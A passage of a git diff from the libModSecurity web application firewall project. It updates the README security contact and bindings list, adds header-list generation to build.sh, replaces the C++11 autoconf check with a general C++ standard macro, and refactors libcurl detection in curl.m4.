specified number. Within this loop, it creates a Transaction object to emulate real HTTP transactions. + +Each transaction is an HTTP/1.1 GET request with some GET parameters. Common headers are added, followed by the response headers and an XML body. Between phases, the tool checks whether an intervention has occurred. All transactions are created with the same data. + +Note that the tool does not call the last phase (logging). +Please remember to reset `basic_rules.conf` if you want to try with a different ruleset. ## Reporting Issues @@ -251,7 +447,7 @@ is one. ### Security issue Please do not make public any security issue. Contact us at: -security@modsecurity.org reporting the issue. Once the problem is fixed your +modsecurity@owasp.org reporting the issue. Once the problem is fixed your credit will be given. ## Feature request @@ -262,8 +458,9 @@ new issue, please check if there is one already opened on the same topic. ## Bindings -The libModSecurity design allows the integration with bindings. There is an effort to avoid breaking API [binary] compatibility to make an easy integration with possible bindings. Currently, there are two notable projects maintained by the community: +The libModSecurity design allows the integration with bindings. There is an effort to avoid breaking API [binary] compatibility to make an easy integration with possible bindings. Currently, there are a few notable projects maintained by the community: * Python - https://github.com/actions-security/pymodsecurity + * Rust - https://github.com/rkrishn7/rust-modsecurity * Varnish - https://github.com/xdecock/vmod-modsecurity ## Packaging diff --git a/SECURITY.md b/SECURITY.md index 394d05b5f0..fafb57326c 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -6,4 +6,4 @@ The latest versions of both v2.9.x and v3.0.x are supported. ## Reporting a Vulnerability -For information on how to report a security issue, please see https://github.com/SpiderLabs/ModSecurity#security-issue +For information on how to report a security issue, please see https://github.com/owasp-modsecurity/ModSecurity#security-issue diff --git a/build.sh b/build.sh index 63f8a60fb3..7f47f03c04 100755 --- a/build.sh +++ b/build.sh @@ -2,6 +2,28 @@ rm -rf autom4te.cache rm -f aclocal.m4 + +cd src +rm -f headers.mk +echo "noinst_HEADERS = \\" > headers.mk +ls -1 \ + actions/*.h \ + actions/ctl/*.h \ + actions/data/*.h \ + actions/disruptive/*.h \ + actions/transformations/*.h \ + debug_log/*.h \ + audit_log/writer/*.h \ + collection/backend/*.h \ + operators/*.h \ + parser/*.h \ + request_body_processor/*.h \ + utils/*.h \ + variables/*.h \ + engine/*.h \ + *.h | tr "\012" " " >> headers.mk +cd ../ + case `uname` in Darwin*) glibtoolize --force --copy ;; *) libtoolize --force --copy ;; esac autoreconf --install diff --git a/build/ax_cxx_compile_stdcxx.m4 b/build/ax_cxx_compile_stdcxx.m4 new file mode 100644 index 0000000000..8edf5152ec --- /dev/null +++ b/build/ax_cxx_compile_stdcxx.m4 @@ -0,0 +1,1018 @@ +# =========================================================================== +# https://www.gnu.org/software/autoconf-archive/ax_cxx_compile_stdcxx.html +# =========================================================================== +# +# SYNOPSIS +# +# AX_CXX_COMPILE_STDCXX(VERSION, [ext|noext], [mandatory|optional]) +# +# DESCRIPTION +# +# Check for baseline language coverage in the compiler for the specified +# version of the C++ standard. If necessary, add switches to CXX and +# CXXCPP to enable support. VERSION may be '11', '14', '17', or '20' for +# the respective C++ standard version. +# +# The second argument, if specified, indicates whether you insist on an +# extended mode (e.g. -std=gnu++11) or a strict conformance mode (e.g. +# -std=c++11). If neither is specified, you get whatever works, with +# preference for no added switch, and then for an extended mode. +# +# The third argument, if specified 'mandatory' or if left unspecified, +# indicates that baseline support for the specified C++ standard is +# required and that the macro should error out if no mode with that +# support is found. If specified 'optional', then configuration proceeds +# regardless, after defining HAVE_CXX${VERSION} if and only if a +# supporting mode is found. +# +# LICENSE +# +# Copyright (c) 2008 Benjamin Kosnik +# Copyright (c) 2012 Zack Weinberg +# Copyright (c) 2013 Roy Stogner +# Copyright (c) 2014, 2015 Google Inc.; contributed by Alexey Sokolov +# Copyright (c) 2015 Paul Norman +# Copyright (c) 2015 Moritz Klammler +# Copyright (c) 2016, 2018 Krzesimir Nowak +# Copyright (c) 2019 Enji Cooper +# Copyright (c) 2020 Jason Merrill +# Copyright (c) 2021 Jörn Heusipp +# +# Copying and distribution of this file, with or without modification, are +# permitted in any medium without royalty provided the copyright notice +# and this notice are preserved. This file is offered as-is, without any +# warranty. + +#serial 18 + +dnl This macro is based on the code from the AX_CXX_COMPILE_STDCXX_11 macro +dnl (serial version number 13). + +AC_DEFUN([AX_CXX_COMPILE_STDCXX], [dnl + m4_if([$1], [11], [ax_cxx_compile_alternatives="11 0x"], + [$1], [14], [ax_cxx_compile_alternatives="14 1y"], + [$1], [17], [ax_cxx_compile_alternatives="17 1z"], + [$1], [20], [ax_cxx_compile_alternatives="20"], + [m4_fatal([invalid first argument `$1' to AX_CXX_COMPILE_STDCXX])])dnl + m4_if([$2], [], [], + [$2], [ext], [], + [$2], [noext], [], + [m4_fatal([invalid second argument `$2' to AX_CXX_COMPILE_STDCXX])])dnl + m4_if([$3], [], [ax_cxx_compile_cxx$1_required=true], + [$3], [mandatory], [ax_cxx_compile_cxx$1_required=true], + [$3], [optional], [ax_cxx_compile_cxx$1_required=false], + [m4_fatal([invalid third argument `$3' to AX_CXX_COMPILE_STDCXX])]) + AC_LANG_PUSH([C++])dnl + ac_success=no + + m4_if([$2], [], [dnl + AC_CACHE_CHECK(whether $CXX supports C++$1 features by default, + ax_cv_cxx_compile_cxx$1, + [AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [ax_cv_cxx_compile_cxx$1=yes], + [ax_cv_cxx_compile_cxx$1=no])]) + if test x$ax_cv_cxx_compile_cxx$1 = xyes; then + ac_success=yes + fi]) + + m4_if([$2], [noext], [], [dnl + if test x$ac_success = xno; then + for alternative in ${ax_cxx_compile_alternatives}; do + switch="-std=gnu++${alternative}" + cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) + AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch, + $cachevar, + [ac_save_CXX="$CXX" + CXX="$CXX $switch" + AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [eval $cachevar=yes], + [eval $cachevar=no]) + CXX="$ac_save_CXX"]) + if eval test x\$$cachevar = xyes; then + CXX="$CXX $switch" + if test -n "$CXXCPP" ; then + CXXCPP="$CXXCPP $switch" + fi + ac_success=yes + break + fi + done + fi]) + + m4_if([$2], [ext], [], [dnl + if test x$ac_success = xno; then + dnl HP's aCC needs +std=c++11 according to: + dnl http://h21007.www2.hp.com/portal/download/files/unprot/aCxx/PDF_Release_Notes/769149-001.pdf + dnl Cray's crayCC needs "-h std=c++11" + dnl MSVC needs -std:c++NN for C++17 and later (default is C++14) + for alternative in ${ax_cxx_compile_alternatives}; do + for switch in -std=c++${alternative} +std=c++${alternative} "-h std=c++${alternative}" MSVC; do + if test x"$switch" = xMSVC; then + dnl AS_TR_SH maps both `:` and `=` to `_` so -std:c++17 would collide + dnl with -std=c++17. We suffix the cache variable name with _MSVC to + dnl avoid this. + switch=-std:c++${alternative} + cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_${switch}_MSVC]) + else + cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx$1_$switch]) + fi + AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch, + $cachevar, + [ac_save_CXX="$CXX" + CXX="$CXX $switch" + AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_testbody_$1])], + [eval $cachevar=yes], + [eval $cachevar=no]) + CXX="$ac_save_CXX"]) + if eval test x\$$cachevar = xyes; then + CXX="$CXX $switch" + if test -n "$CXXCPP" ; then + CXXCPP="$CXXCPP $switch" + fi + ac_success=yes + break + fi + done + if test x$ac_success = xyes; then + break + fi + done + fi]) + AC_LANG_POP([C++]) + if test x$ax_cxx_compile_cxx$1_required = xtrue; then + if test x$ac_success = xno; then + AC_MSG_ERROR([*** A compiler with support for C++$1 language features is required.]) + fi + fi + if test x$ac_success = xno; then + HAVE_CXX$1=0 + AC_MSG_NOTICE([No compiler with C++$1 support was found]) + else + HAVE_CXX$1=1 + AC_DEFINE(HAVE_CXX$1,1, + [define if the compiler supports basic C++$1 syntax]) + fi + AC_SUBST(HAVE_CXX$1) +]) + + +dnl Test body for checking C++11 support + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_11], + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 +) + +dnl Test body for checking C++14 support + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_14], + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_14 +) + +dnl Test body for checking C++17 support + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_17], + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_14 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_17 +) + +dnl Test body for checking C++20 support + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_20], + _AX_CXX_COMPILE_STDCXX_testbody_new_in_11 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_14 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_17 + _AX_CXX_COMPILE_STDCXX_testbody_new_in_20 +) + + +dnl Tests for new features in C++11 + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_11], [[ + +// If the compiler admits that it is not ready for C++11, why torture it? +// Hopefully, this will speed up the test. + +#ifndef __cplusplus + +#error "This is not a C++ compiler" + +// MSVC always sets __cplusplus to 199711L in older versions; newer versions +// only set it correctly if /Zc:__cplusplus is specified as well as a +// /std:c++NN switch: +// https://devblogs.microsoft.com/cppblog/msvc-now-correctly-reports-__cplusplus/ +#elif __cplusplus < 201103L && !defined _MSC_VER + +#error "This is not a C++11 compiler" + +#else + +namespace cxx11 +{ + + namespace test_static_assert + { + + template + struct check + { + static_assert(sizeof(int) <= sizeof(T), "not big enough"); + }; + + } + + namespace test_final_override + { + + struct Base + { + virtual ~Base() {} + virtual void f() {} + }; + + struct Derived : public Base + { + virtual ~Derived() override {} + virtual void f() override {} + }; + + } + + namespace test_double_right_angle_brackets + { + + template < typename T > + struct check {}; + + typedef check single_type; + typedef check> double_type; + typedef check>> triple_type; + typedef check>>> quadruple_type; + + } + + namespace test_decltype + { + + int + f() + { + int a = 1; + decltype(a) b = 2; + return a + b; + } + + } + + namespace test_type_deduction + { + + template < typename T1, typename T2 > + struct is_same + { + static const bool value = false; + }; + + template < typename T > + struct is_same + { + static const bool value = true; + }; + + template < typename T1, typename T2 > + auto + add(T1 a1, T2 a2) -> decltype(a1 + a2) + { + return a1 + a2; + } + + int + test(const int c, volatile int v) + { + static_assert(is_same::value == true, ""); + static_assert(is_same::value == false, ""); + static_assert(is_same::value == false, ""); + auto ac = c; + auto av = v; + auto sumi = ac + av + 'x'; + auto sumf = ac + av + 1.0; + static_assert(is_same::value == true, ""); + static_assert(is_same::value == true, ""); + static_assert(is_same::value == true, ""); + static_assert(is_same::value == false, ""); + static_assert(is_same::value == true, ""); + return (sumf > 0.0) ? sumi : add(c, v); + } + + } + + namespace test_noexcept + { + + int f() { return 0; } + int g() noexcept { return 0; } + + static_assert(noexcept(f()) == false, ""); + static_assert(noexcept(g()) == true, ""); + + } + + namespace test_constexpr + { + + template < typename CharT > + unsigned long constexpr + strlen_c_r(const CharT *const s, const unsigned long acc) noexcept + { + return *s ? strlen_c_r(s + 1, acc + 1) : acc; + } + + template < typename CharT > + unsigned long constexpr + strlen_c(const CharT *const s) noexcept + { + return strlen_c_r(s, 0UL); + } + + static_assert(strlen_c("") == 0UL, ""); + static_assert(strlen_c("1") == 1UL, ""); + static_assert(strlen_c("example") == 7UL, ""); + static_assert(strlen_c("another\0example") == 7UL, ""); + + } + + namespace test_rvalue_references + { + + template < int N > + struct answer + { + static constexpr int value = N; + }; + + answer<1> f(int&) { return answer<1>(); } + answer<2> f(const int&) { return answer<2>(); } + answer<3> f(int&&) { return answer<3>(); } + + void + test() + { + int i = 0; + const int c = 0; + static_assert(decltype(f(i))::value == 1, ""); + static_assert(decltype(f(c))::value == 2, ""); + static_assert(decltype(f(0))::value == 3, ""); + } + + } + + namespace test_uniform_initialization + { + + struct test + { + static const int zero {}; + static const int one {1}; + }; + + static_assert(test::zero == 0, ""); + static_assert(test::one == 1, ""); + + } + + namespace test_lambdas + { + + void + test1() + { + auto lambda1 = [](){}; + auto lambda2 = lambda1; + lambda1(); + lambda2(); + } + + int + test2() + { + auto a = [](int i, int j){ return i + j; }(1, 2); + auto b = []() -> int { return '0'; }(); + auto c = [=](){ return a + b; }(); + auto d = [&](){ return c; }(); + auto e = [a, &b](int x) mutable { + const auto identity = [](int y){ return y; }; + for (auto i = 0; i < a; ++i) + a += b--; + return x + identity(a + b); + }(0); + return a + b + c + d + e; + } + + int + test3() + { + const auto nullary = [](){ return 0; }; + const auto unary = [](int x){ return x; }; + using nullary_t = decltype(nullary); + using unary_t = decltype(unary); + const auto higher1st = [](nullary_t f){ return f(); }; + const auto higher2nd = [unary](nullary_t f1){ + return [unary, f1](unary_t f2){ return f2(unary(f1())); }; + }; + return higher1st(nullary) + higher2nd(nullary)(unary); + } + + } + + namespace test_variadic_templates + { + + template + struct sum; + + template + struct sum + { + static constexpr auto value = N0 + sum::value; + }; + + template <> + struct sum<> + { + static constexpr auto value = 0; + }; + + static_assert(sum<>::value == 0, ""); + static_assert(sum<1>::value == 1, ""); + static_assert(sum<23>::value == 23, ""); + static_assert(sum<1, 2>::value == 3, ""); + static_assert(sum<5, 5, 11>::value == 21, ""); + static_assert(sum<2, 3, 5, 7, 11, 13>::value == 41, ""); + + } + + // http://stackoverflow.com/questions/13728184/template-aliases-and-sfinae + // Clang 3.1 fails with headers of libstd++ 4.8.3 when using std::function + // because of this. + namespace test_template_alias_sfinae + { + + struct foo {}; + + template + using member = typename T::member_type; + + template + void func(...) {} + + template + void func(member*) {} + + void test(); + + void test() { func(0); } + + } + +} // namespace cxx11 + +#endif // __cplusplus >= 201103L + +]]) + + +dnl Tests for new features in C++14 + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_14], [[ + +// If the compiler admits that it is not ready for C++14, why torture it? +// Hopefully, this will speed up the test. + +#ifndef __cplusplus + +#error "This is not a C++ compiler" + +#elif __cplusplus < 201402L && !defined _MSC_VER + +#error "This is not a C++14 compiler" + +#else + +namespace cxx14 +{ + + namespace test_polymorphic_lambdas + { + + int + test() + { + const auto lambda = [](auto&&... args){ + const auto istiny = [](auto x){ + return (sizeof(x) == 1UL) ? 1 : 0; + }; + const int aretiny[] = { istiny(args)... }; + return aretiny[0]; + }; + return lambda(1, 1L, 1.0f, '1'); + } + + } + + namespace test_binary_literals + { + + constexpr auto ivii = 0b0000000000101010; + static_assert(ivii == 42, "wrong value"); + + } + + namespace test_generalized_constexpr + { + + template < typename CharT > + constexpr unsigned long + strlen_c(const CharT *const s) noexcept + { + auto length = 0UL; + for (auto p = s; *p; ++p) + ++length; + return length; + } + + static_assert(strlen_c("") == 0UL, ""); + static_assert(strlen_c("x") == 1UL, ""); + static_assert(strlen_c("test") == 4UL, ""); + static_assert(strlen_c("another\0test") == 7UL, ""); + + } + + namespace test_lambda_init_capture + { + + int + test() + { + auto x = 0; + const auto lambda1 = [a = x](int b){ return a + b; }; + const auto lambda2 = [a = lambda1(x)](){ return a; }; + return lambda2(); + } + + } + + namespace test_digit_separators + { + + constexpr auto ten_million = 100'000'000; + static_assert(ten_million == 100000000, ""); + + } + + namespace test_return_type_deduction + { + + auto f(int& x) { return x; } + decltype(auto) g(int& x) { return x; } + + template < typename T1, typename T2 > + struct is_same + { + static constexpr auto value = false; + }; + + template < typename T > + struct is_same + { + static constexpr auto value = true; + }; + + int + test() + { + auto x = 0; + static_assert(is_same::value, ""); + static_assert(is_same::value, ""); + return x; + } + + } + +} // namespace cxx14 + +#endif // __cplusplus >= 201402L + +]]) + + +dnl Tests for new features in C++17 + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_17], [[ + +// If the compiler admits that it is not ready for C++17, why torture it? +// Hopefully, this will speed up the test. + +#ifndef __cplusplus + +#error "This is not a C++ compiler" + +#elif __cplusplus < 201703L && !defined _MSC_VER + +#error "This is not a C++17 compiler" + +#else + +#include +#include +#include + +namespace cxx17 +{ + + namespace test_constexpr_lambdas + { + + constexpr int foo = [](){return 42;}(); + + } + + namespace test::nested_namespace::definitions + { + + } + + namespace test_fold_expression + { + + template + int multiply(Args... args) + { + return (args * ... * 1); + } + + template + bool all(Args... args) + { + return (args && ...); + } + + } + + namespace test_extended_static_assert + { + + static_assert (true); + + } + + namespace test_auto_brace_init_list + { + + auto foo = {5}; + auto bar {5}; + + static_assert(std::is_same, decltype(foo)>::value); + static_assert(std::is_same::value); + } + + namespace test_typename_in_template_template_parameter + { + + template typename X> struct D; + + } + + namespace test_fallthrough_nodiscard_maybe_unused_attributes + { + + int f1() + { + return 42; + } + + [[nodiscard]] int f2() + { + [[maybe_unused]] auto unused = f1(); + + switch (f1()) + { + case 17: + f1(); + [[fallthrough]]; + case 42: + f1(); + } + return f1(); + } + + } + + namespace test_extended_aggregate_initialization + { + + struct base1 + { + int b1, b2 = 42; + }; + + struct base2 + { + base2() { + b3 = 42; + } + int b3; + }; + + struct derived : base1, base2 + { + int d; + }; + + derived d1 {{1, 2}, {}, 4}; // full initialization + derived d2 {{}, {}, 4}; // value-initialized bases + + } + + namespace test_general_range_based_for_loop + { + + struct iter + { + int i; + + int& operator* () + { + return i; + } + + const int& operator* () const + { + return i; + } + + iter& operator++() + { + ++i; + return *this; + } + }; + + struct sentinel + { + int i; + }; + + bool operator== (const iter& i, const sentinel& s) + { + return i.i == s.i; + } + + bool operator!= (const iter& i, const sentinel& s) + { + return !(i == s); + } + + struct range + { + iter begin() const + { + return {0}; + } + + sentinel end() const + { + return {5}; + } + }; + + void f() + { + range r {}; + + for (auto i : r) + { + [[maybe_unused]] auto v = i; + } + } + + } + + namespace test_lambda_capture_asterisk_this_by_value + { + + struct t + { + int i; + int foo() + { + return [*this]() + { + return i; + }(); + } + }; + + } + + namespace test_enum_class_construction + { + + enum class byte : unsigned char + {}; + + byte foo {42}; + + } + + namespace test_constexpr_if + { + + template + int f () + { + if constexpr(cond) + { + return 13; + } + else + { + return 42; + } + } + + } + + namespace test_selection_statement_with_initializer + { + + int f() + { + return 13; + } + + int f2() + { + if (auto i = f(); i > 0) + { + return 3; + } + + switch (auto i = f(); i + 4) + { + case 17: + return 2; + + default: + return 1; + } + } + + } + + namespace test_template_argument_deduction_for_class_templates + { + + template + struct pair + { + pair (T1 p1, T2 p2) + : m1 {p1}, + m2 {p2} + {} + + T1 m1; + T2 m2; + }; + + void f() + { + [[maybe_unused]] auto p = pair{13, 42u}; + } + + } + + namespace test_non_type_auto_template_parameters + { + + template + struct B + {}; + + B<5> b1; + B<'a'> b2; + + } + + namespace test_structured_bindings + { + + int arr[2] = { 1, 2 }; + std::pair pr = { 1, 2 }; + + auto f1() -> int(&)[2] + { + return arr; + } + + auto f2() -> std::pair& + { + return pr; + } + + struct S + { + int x1 : 2; + volatile double y1; + }; + + S f3() + { + return {}; + } + + auto [ x1, y1 ] = f1(); + auto& [ xr1, yr1 ] = f1(); + auto [ x2, y2 ] = f2(); + auto& [ xr2, yr2 ] = f2(); + const auto [ x3, y3 ] = f3(); + + } + + namespace test_exception_spec_type_system + { + + struct Good {}; + struct Bad {}; + + void g1() noexcept; + void g2(); + + template + Bad + f(T*, T*); + + template + Good + f(T1*, T2*); + + static_assert (std::is_same_v); + + } + + namespace test_inline_variables + { + + template void f(T) + {} + + template inline T g(T) + { + return T{}; + } + + template<> inline void f<>(int) + {} + + template<> int g<>(int) + { + return 5; + } + + } + +} // namespace cxx17 + +#endif // __cplusplus < 201703L && !defined _MSC_VER + +]]) + + +dnl Tests for new features in C++20 + +m4_define([_AX_CXX_COMPILE_STDCXX_testbody_new_in_20], [[ + +#ifndef __cplusplus + +#error "This is not a C++ compiler" + +#elif __cplusplus < 202002L && !defined _MSC_VER + +#error "This is not a C++20 compiler" + +#else + +#include + +namespace cxx20 +{ + +// As C++20 supports feature test macros in the standard, there is no +// immediate need to actually test for feature availability on the +// Autoconf side. + +} // namespace cxx20 + +#endif // __cplusplus < 202002L && !defined _MSC_VER + +]]) diff --git a/build/ax_cxx_compile_stdcxx_11.m4 b/build/ax_cxx_compile_stdcxx_11.m4 deleted file mode 100644 index e76fd6053d..0000000000 --- a/build/ax_cxx_compile_stdcxx_11.m4 +++ /dev/null @@ -1,171 +0,0 @@ -# ============================================================================ -# http://www.gnu.org/software/autoconf-archive/ax_cxx_compile_stdcxx_11.html -# ============================================================================ -# -# SYNOPSIS -# -# AX_CXX_COMPILE_STDCXX_11([ext|noext],[mandatory|optional]) -# -# DESCRIPTION -# -# Check for baseline language coverage in the compiler for the C++11 -# standard; if necessary, add switches to CXXFLAGS to enable support. -# -# The first argument, if specified, indicates whether you insist on an -# extended mode (e.g. -std=gnu++11) or a strict conformance mode (e.g. -# -std=c++11). If neither is specified, you get whatever works, with -# preference for an extended mode. -# -# The second argument, if specified 'mandatory' or if left unspecified, -# indicates that baseline C++11 support is required and that the macro -# should error out if no mode with that support is found. If specified -# 'optional', then configuration proceeds regardless, after defining -# HAVE_CXX11 if and only if a supporting mode is found. -# -# LICENSE -# -# Copyright (c) 2008 Benjamin Kosnik -# Copyright (c) 2012 Zack Weinberg -# Copyright (c) 2013 Roy Stogner -# Copyright (c) 2014, 2015 Google Inc.; contributed by Alexey Sokolov -# Copyright (c) 2015 Paul Norman -# -# Copying and distribution of this file, with or without modification, are -# permitted in any medium without royalty provided the copyright notice -# and this notice are preserved. This file is offered as-is, without any -# warranty. - -#serial 12 - -m4_define([_AX_CXX_COMPILE_STDCXX_11_testbody], [[ - template - struct check - { - static_assert(sizeof(int) <= sizeof(T), "not big enough"); - }; - - struct Base { - virtual void f() {} - }; - struct Child : public Base { - virtual void f() override {} - }; - - typedef check> right_angle_brackets; - - int a; - decltype(a) b; - - typedef check check_type; - check_type c; - check_type&& cr = static_cast(c); - - auto d = a; - auto l = [](){}; - // Prevent Clang error: unused variable 'l' [-Werror,-Wunused-variable] - struct use_l { use_l() { l(); } }; - - // http://stackoverflow.com/questions/13728184/template-aliases-and-sfinae - // Clang 3.1 fails with headers of libstd++ 4.8.3 when using std::function because of this - namespace test_template_alias_sfinae { - struct foo {}; - - template - using member = typename T::member_type; - - template - void func(...) {} - - template - void func(member*) {} - - void test(); - - void test() { - func(0); - } - } - - // Check for C++11 attribute support - void noret [[noreturn]] () { throw 0; } -]]) - -AC_DEFUN([AX_CXX_COMPILE_STDCXX_11], [dnl - m4_if([$1], [], [], - [$1], [ext], [], - [$1], [noext], [], - [m4_fatal([invalid argument `$1' to AX_CXX_COMPILE_STDCXX_11])])dnl - m4_if([$2], [], [ax_cxx_compile_cxx11_required=true], - [$2], [mandatory], [ax_cxx_compile_cxx11_required=true], - [$2], [optional], [ax_cxx_compile_cxx11_required=false], - [m4_fatal([invalid second argument `$2' to AX_CXX_COMPILE_STDCXX_11])]) - AC_LANG_PUSH([C++])dnl - ac_success=no - AC_CACHE_CHECK(whether $CXX supports C++11 features by default, - ax_cv_cxx_compile_cxx11, - [AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_11_testbody])], - [ax_cv_cxx_compile_cxx11=yes], - [ax_cv_cxx_compile_cxx11=no])]) - if test x$ax_cv_cxx_compile_cxx11 = xyes; then - ac_success=yes - fi - - m4_if([$1], [noext], [], [dnl - if test x$ac_success = xno; then - for switch in -std=gnu++11 -std=gnu++0x; do - cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx11_$switch]) - AC_CACHE_CHECK(whether $CXX supports C++11 features with $switch, - $cachevar, - [ac_save_CXXFLAGS="$CXXFLAGS" - CXXFLAGS="$CXXFLAGS $switch" - AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_11_testbody])], - [eval $cachevar=yes], - [eval $cachevar=no]) - CXXFLAGS="$ac_save_CXXFLAGS"]) - if eval test x\$$cachevar = xyes; then - CXXFLAGS="$CXXFLAGS $switch" - ac_success=yes - break - fi - done - fi]) - - m4_if([$1], [ext], [], [dnl - if test x$ac_success = xno; then - dnl HP's aCC needs +std=c++11 according to: - dnl http://h21007.www2.hp.com/portal/download/files/unprot/aCxx/PDF_Release_Notes/769149-001.pdf - for switch in -std=c++11 -std=c++0x +std=c++11; do - cachevar=AS_TR_SH([ax_cv_cxx_compile_cxx11_$switch]) - AC_CACHE_CHECK(whether $CXX supports C++11 features with $switch, - $cachevar, - [ac_save_CXXFLAGS="$CXXFLAGS" - CXXFLAGS="$CXXFLAGS $switch" - AC_COMPILE_IFELSE([AC_LANG_SOURCE([_AX_CXX_COMPILE_STDCXX_11_testbody])], - [eval $cachevar=yes], - [eval $cachevar=no]) - CXXFLAGS="$ac_save_CXXFLAGS"]) - if eval test x\$$cachevar = xyes; then - CXXFLAGS="$CXXFLAGS $switch" - ac_success=yes - break - fi - done - fi]) - AC_LANG_POP([C++]) - if test x$ax_cxx_compile_cxx11_required = xtrue; then - if test x$ac_success = xno; then - AC_MSG_ERROR([*** A compiler with support for C++11 language features is required.]) - fi - else - if test x$ac_success = xno; then - HAVE_CXX11=0 - AC_MSG_NOTICE([No compiler with C++11 support was found]) - else - HAVE_CXX11=1 - AC_DEFINE(HAVE_CXX11,1, - [define if the compiler supports basic C++11 syntax]) - fi - - AC_SUBST(HAVE_CXX11) - fi -]) diff --git a/build/curl.m4 b/build/curl.m4 index 747d21fe64..f5e1bff5c6 100644 --- a/build/curl.m4 +++ b/build/curl.m4 @@ -1,131 +1,36 @@ dnl Check for CURL Libraries -dnl CHECK_CURL(ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND]) dnl Sets: dnl CURL_CFLAGS -dnl CURL_LIBS - -CURL_CONFIG="" -CURL_VERSION="" -CURL_CPPFLAGS="" -CURL_CFLAGS="" -CURL_LDFLAGS="" -CURL_LDADD="" -CURL_MIN_VERSION="7.15.1" +dnl CURL_LDADD +dnl CURL_LDFLAGS +dnl CURL_VERSION +dnl CURL_DISPLAY +dnl CURL_FOUND AC_DEFUN([CHECK_CURL], [ - - -AC_ARG_WITH( - curl, - [AS_HELP_STRING([--with-curl=PATH],[Path to curl prefix or config script])], - [test_paths="${with_curl}"], - [test_paths="/usr/local/libcurl /usr/local/curl /usr/local /opt/libcurl /opt/curl /opt /usr"]) - -AC_MSG_CHECKING([for libcurl config script]) - -for x in ${test_paths}; do - dnl # Determine if the script was specified and use it directly - if test ! -d "$x" -a -e "$x"; then - CURL_CONFIG=$x - curl_path="no" - break - fi - - dnl # Try known config script names/locations - for CURL_CONFIG in curl-config; do - if test -e "${x}/bin/${CURL_CONFIG}"; then - curl_path="${x}/bin" - break - elif test -e "${x}/${CURL_CONFIG}"; then - curl_path="${x}" - break - else - curl_path="" - fi - done - if test -n "$curl_path"; then - break - fi -done - -if test -n "${curl_path}"; then - if test "${curl_path}" != "no"; then - CURL_CONFIG="${curl_path}/${CURL_CONFIG}" - fi - AC_MSG_RESULT([${CURL_CONFIG}]) - CURL_VERSION=`${CURL_CONFIG} --version | sed 's/^[[^0-9]][[^[:space:]]][[^[:space:]]]*[[[:space:]]]*//' | tr '\r\n' ' '` - if test ! -z "${CURL_VERSION}"; then AC_MSG_NOTICE(curl VERSION: $CURL_VERSION); fi - CURL_CFLAGS="`${CURL_CONFIG} --cflags`" - if test ! -z "${CURL_CFLAGS}"; then AC_MSG_NOTICE(curl CFLAGS: $CURL_CFLAGS); fi - CURL_LDADD="`${CURL_CONFIG} --libs`" - if test ! -z "${CURL_CONFIG}"; then AC_MSG_NOTICE(curl LDADD: $CURL_LIBS); fi - - dnl # Check version is ok - AC_MSG_CHECKING([if libcurl is at least v${CURL_MIN_VERSION}]) - curl_min_ver=`echo ${CURL_MIN_VERSION} | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` - curl_ver=`echo ${CURL_VERSION} | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` - if test "$curl_min_ver" -le "$curl_ver"; then - AC_MSG_RESULT([yes, $CURL_VERSION]) - curl_tlsv2_ver=`echo 7.34.0 | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` - if test "$curl_tlsv2_ver" -le "$curl_ver"; then - CURL_CFLAGS="${CURL_CFLAGS} -DWITH_CURL_SSLVERSION_TLSv1_2" - fi - CURL_CFLAGS="${CURL_CFLAGS} -DWITH_CURL" +MSC_CHECK_LIB([CURL], [libcurl], [curl/curl.h], [curl], [-DWITH_CURL], [7.15.1]) + +# Post-processing: TLSv1.2 version check +if test "x${CURL_FOUND}" = "x1" && test -n "${CURL_VERSION}"; then + AC_MSG_CHECKING([if libcurl supports TLSv1.2]) + _msc_curl_tlsv2_ver=`echo 7.34.0 | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` + _msc_curl_ver=`echo ${CURL_VERSION} | awk -F. '{print (\$ 1 * 1000000) + (\$ 2 * 1000) + \$ 3}'` + if test "${_msc_curl_tlsv2_ver}" -le "${_msc_curl_ver}" 2>/dev/null; then + AC_MSG_RESULT([yes]) + CURL_CFLAGS="${CURL_CFLAGS} -DWITH_CURL_SSLVERSION_TLSv1_2" else - AC_MSG_RESULT([no, $CURL_VERSION]) - AC_MSG_NOTICE([NOTE: curl library may be too old]) + AC_MSG_RESULT([no]) fi - dnl # Check/warn if GnuTLS is used + # Check/warn if GnuTLS is used AC_MSG_CHECKING([if libcurl is linked with gnutls]) - curl_uses_gnutls=`echo ${CURL_LIBS} | grep gnutls | wc -l` - if test "$curl_uses_gnutls" -ne 0; then + _msc_curl_uses_gnutls=`echo ${CURL_LDADD} | grep gnutls | wc -l` + if test 